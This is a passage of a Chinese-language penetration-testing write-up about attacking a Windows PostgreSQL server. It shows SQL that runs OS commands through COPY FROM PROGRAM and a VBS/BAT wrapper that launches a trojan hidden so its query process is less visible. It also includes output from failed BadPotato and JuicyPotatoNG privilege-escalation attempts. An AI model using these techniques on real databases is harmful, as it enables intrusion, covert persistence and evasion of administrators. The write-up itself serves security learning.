rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">COPY</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">table_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">column_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">{</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;filename&#39;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">PROGRAM</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;command&#39;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">STDIN</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;">WITH</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">option</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">WHERE</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">condition</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">COPY</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">{</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">table_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">column_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">query</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">TO</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">{</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;filename&#39;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">PROGRAM</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;command&#39;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">STDOUT</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;">WITH</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">option</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">option</span> can be one <span style="box-sizing: border-box;color: rgb(119, 0, 136);">of</span><span style="box-sizing: border-box;">:</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    FORMAT format_name</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FREEZE</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;">boolean</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">DELIMITER</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;delimiter_character&#39;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(34, 17, 153);">NULL</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;null_string&#39;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">HEADER</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span> <span style="box-sizing: border-box;">boolean</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">MATCH</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">QUOTE</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;quote_character&#39;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">ESCAPE</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;escape_character&#39;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    FORCE_QUOTE <span style="box-sizing: border-box;color: rgb(153, 153, 119);">{</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">column_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    FORCE_NOT_NULL <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">column_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    FORCE_NULL <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">column_name</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;">,</span> ...<span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">ENCODING</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;encoding_name&#39;</span></span></pre><p cid="n78" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这不是有encoding嘛。。。。,后面加上</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">with encoding &#39;ISO-8859-1&#39;;</strong></span><span md-inline="plain" style="box-sizing: border-box;">就好了，中文系统命令回显会有乱码，不过不影响信息收集</span></p><pre spellcheck="false" lang="postgresql" cid="n79" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">DROP</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">TABLE</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">IF</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">EXISTS</span> dd<span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">CREATE</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">TABLE</span> dd<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>dd <span style="box-sizing: border-box;">text</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">COPY</span> dd <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">PROGRAM</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;net view&#39;</span> <span style="box-sizing: border-box;">with</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">encoding</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;ISO-8859-1&#39;</span><span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">SELECT</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> dd<span style="box-sizing: border-box;">;</span></span></pre><h4 cid="n80" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">问题2：木马上线无法关闭数据查询进程</span></h4><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">按照文中的方法通过命令直接上线的木马，会在木马在线的过程中一直保持着数据库查询的状态，没有ending，除非把马直接断掉，不然对方通过</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">select * from pg_stat_activity;</strong></span><span md-inline="plain" style="box-sizing: border-box;">直接就可以在数据库查询进程里明晃晃的看到一个超长时数据库查询进程还有你马的磁盘位置。。。。。。。。，而且最关键的是这个进程除非通过任务管理器或者是服务端主动关闭session，否则</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">不管是执行taskkill还是pg数据库的select pg_terminate_backend(pid)；都无法关掉这个进程</strong></span></p><h5 cid="n82" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">解决方法</span></h5><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">用一个vbs脚本去调bat脚本，在bat脚本里再去调用马和结束任务</span></p><pre spellcheck="false" lang="vbscript" cid="n84" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">vbs</span><span style="box-sizing: border-box;color: red;">脚本</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">set</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ws</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(0, 85, 170);">WScript.CreateObject</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;WScript.Shell&#34;</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">ws.Run</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;test.bat&#34;</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">bat</span><span style="box-sizing: border-box;color: red;">脚本</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: red;">@</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">echo</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">off</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">start</span> <span style="box-sizing: border-box;color: red;">1</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">.exe</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">exit</span></span></pre><h4 cid="n85" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">问题3：失败的提权</span></h4><p cid="n86" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">首先我们看下&#34;whoami /all&#34;，忽视乱码QAQ</span></p><pre spellcheck="false" lang="" cid="n87" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÓÃ»§ÐÅÏ¢</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">----------------</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÓÃ»§Ãû                       SID     </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">============================ ========</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">nt authority</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">network service S-1-5-20</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">×éÐÅÏ¢</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">-----------------</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">×éÃû                                       ÀàÐÍ   SID          ÊôÐÔ                          </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">========================================== ====== ============ ==============================</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Mandatory LabelSystem Mandatory Level     ±êÇ©   S-1-16-16384                               </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Everyone                                   ÒÑÖª×é S-1-1-0      ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">BUILTINPre-Windows 2000 Compatible Access ±ðÃû   S-1-5-32-554 ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">BUILTINUsers                              ±ðÃû   S-1-5-32-545 ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">NT AUTHORITYSERVICE                       ÒÑÖª×é S-1-5-6      ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">CONSOLE LOGON                              ÒÑÖª×é S-1-2-1      ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">NT AUTHORITYAuthenticated Users           ÒÑÖª×é S-1-5-11     ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">NT AUTHORITYThis Organization             ÒÑÖª×é S-1-5-15     ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">LOCAL                                      ÒÑÖª×é S-1-2-0      ±ØÐèµÄ×é, ÆôÓÃÓÚÄ¬ÈÏ, ÆôÓÃµÄ×é</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÌØÈ¨ÐÅÏ¢</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">----------------------</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÌØÈ¨Ãû                  ÃèÊö         ×´Ì¬  </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">======================= ============ ======</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">SeChangeNotifyPrivilege ÈÆ¹ý±éÀú¼ì²é ÒÑÆôÓÃ</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÓÃ»§ÉùÃ÷ÐÅÏ¢</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">-----------------------</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÓÃ»§ÉùÃ÷Î´Öª¡£</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ÒÑÔÚ´ËÉè±¸ÉÏ½ûÓÃ¶Ô¶¯Ì¬·ÃÎÊ¿ØÖÆµÄ Kerberos Ö§³Ö¡£</span></pre><p cid="n88" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在windows下默认安装的pgsql数据库的权限是network service，且</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">没有SeImpersonate或者SeAssignPrimaryToken权限</strong></span><span md-inline="plain" style="box-sizing: border-box;">，所以potato家族的提权方法全部都无法利用，都会死在获取token或利用token鉴权这一步，报错如下</span></p><ul class="list-paddingleft-1" cid="n89" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n91" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">badpotato</span></p></li></ul><pre spellcheck="false" lang="" cid="n92" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*]</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    ____            ______        __        __      </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   / __ )____ _____/ / __ \____  / /_____ _/ /_____ </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  / __  / __ `/ __  / /_/ / __ \/ __/ __ `/ __/ __ \</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> / /_/ / /_/ / /_/ / ____/ /_/ / /_/ /_/ / /_/ /_/ /</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">/_____/\__,_/\__,_/_/    \____/\__/\__,_/\__/\____/ </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Github:<a href="https://github.com/BeichenDream/BadPotato/" target="_blank">https://github.com/BeichenDream/BadPotato/</a>       By:BeichenDream</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] PipeName : \\.\pipe\f9117ffe84ee4b8b99449dc28eedb31d\pipe\spoolss</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] ConnectPipeName : \\WIN-8HVRNH9E3VV/pipe/f9117ffe84ee4b8b99449dc28eedb31d</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] CreateNamedPipeW Success! IntPtr:712</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] RpcRemoteFindFirstPrinterChangeNotificationEx Success! IntPtr:3029823515808</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] ConnectNamePipe Success!</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] CurrentUserName : WIN-8HVRNH9E3VV$</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] CurrentConnectPipeUserName : </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] ImpersonateNamedPipeClient Success!</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] OpenThreadToken Success! IntPtr:1016</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Unknown error (0x542)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[!] DuplicateTokenEx fail!</span></pre><ul class="list-paddingleft-1" cid="n93" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n96" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">juicypotatong  </span></p></li></ul><pre spellcheck="false" lang="" cid="n95" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> JuicyPotatoNG</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> by decoder_it &amp; splinter_code</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247 </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[!] Current process doesn&#39;t have SeImpersonate or SeAssignPrimaryToken privileges, exiting...</span></pre><h5 cid="n97" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">解决方法</span></h5><p cid="n98" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">老老实实根据kb找内核提权cve.。。。允悲</span></p><p cid="n100" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">没有合适的cve的话弹回来的权限非常低（计算机名+$），除了查看一些文件，只能做低权限口子去端口转发去进一步做内网渗透。</span></p><p 